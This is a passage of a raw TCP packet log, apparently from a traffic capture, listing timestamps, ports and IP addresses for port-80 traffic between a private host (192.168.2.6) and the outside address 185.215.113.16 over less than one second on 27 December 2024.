Dec 27, 2024 08:50:55.362791061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.362803936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.362823009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.362848997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.362900019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.363590956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.363601923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.363612890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.363642931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.363663912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.363682985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.364300013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.364370108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.364382982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.364439011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.364439011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.364448071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.365104914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.365130901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.365144014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.365148067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.365226030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.365247011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.365943909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.365955114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.365967035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.365983009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.366009951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.366044044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.366779089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.366790056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.366805077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.366816998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.366832018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.366858006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.367579937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.367593050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.367607117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.367619038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.367623091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.367645979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.412338972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.423722029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.423794985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.423808098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.423837900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.423866034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424097061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.424098969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424168110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424179077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424190044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424215078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.424251080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.424715996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424779892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424791098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424828053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.424891949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.424940109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.425580978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.425592899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.425606966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.425640106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.425987005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.426033020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.426044941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.426078081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.426116943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.426814079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.426855087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.426860094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.426878929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.426920891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.488255024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.488328934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.488341093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.488367081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.488378048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.488518953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.488610029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.488651037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.488662958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.488697052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.489168882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.489181042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.489192963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.489217997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.489242077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.489279032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.489917994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.489969015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.489980936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.489993095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.490031004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.490035057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.490792990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.490806103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.490817070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.490843058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.490865946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.490866899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.491473913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.491523027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.491553068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.537333012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.557106972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.557138920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.557152987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.557204008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.557235956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.557467937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.557496071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.557507992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.557517052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.557543039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.557662964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.558268070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.558324099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.558335066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.558336020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.558361053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.558491945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.559005022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.559063911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.559076071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.559087992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.559125900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.559200048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.559246063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.559798002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.559840918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.559853077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.559891939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.560015917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.560513020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.560703039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.560715914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.560733080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.560765028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.560821056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.560863018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.561505079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.561517000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.561528921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.561557055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.561661959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.562259912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.562272072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.562283039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.562305927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.562359095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.562398911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.562973022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.563013077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.563019991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.563056946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.563209057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.563249111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.563860893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.563872099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.563884974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.563896894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.563910007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.563932896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.564579010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.564590931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.564603090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.564629078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.564670086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.564708948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.566028118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.566041946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.566055059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.566067934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.566088915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.566107988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.566111088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.566159964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.566173077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.566191912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.566220999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.566257000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.566895962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.567055941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.567066908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.567078114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.567106009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.567130089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.567738056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.567751884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.567764044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.567795038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.567914963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.568444967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.568617105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.568629980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.568641901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.568656921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.568664074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.568689108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.569274902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.569324970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.569338083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.569376945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.625168085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.625184059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.625196934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.625241041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.625242949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.625283003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.625438929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.625514030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.625533104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.625560045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.625997066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.626224995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.626235008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.626270056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.626444101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.626456976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.626468897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.626494884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.626988888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.627029896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.627090931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.627103090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.627139091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.627175093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.627928972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.627940893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.627954006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.627964973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.627970934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.628004074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.628662109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.629141092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.689635992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.689707994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.689719915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.689748049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.689774036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.689835072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.690010071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.690026999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.690033913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.690155029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.690623999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.690635920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.690648079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.690691948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.690691948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.690696955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.691395044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.691430092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.691441059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.691469908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.691514015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.691845894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.691895008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.691907883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.691950083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.691989899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.692047119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.692636967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.692707062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.692718983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.692765951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.758598089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.758615017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.758626938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.758639097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.758687973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.758687973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.758904934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.758970976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.758985996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.759008884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.759051085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.759051085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.759694099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.759707928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.759718895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.759753942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.759831905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.759917021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.760442019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.760500908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.760514021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.760616064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.760634899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.761248112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.761271000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.761291027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.761302948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.761337042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.761363029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.762029886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.762099028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.762111902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.762115955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.762164116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.762197018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.762197018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.762842894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.762897968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.762909889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.762953043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.762958050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.763597012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.763710022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.763736963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.763750076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.763761044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.763780117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.763797998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.764405012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.764465094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.764478922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.764528990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.764559984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.765477896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.765513897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.765526056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.765537977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.765548944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.765578985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.765578985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.766076088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.766087055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.766099930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.766179085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.766197920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.766513109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.766829967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.766843081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.766855001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.766885996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.766905069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.767241955 CET	49752	80	192.168.2.6	185.215.113.16
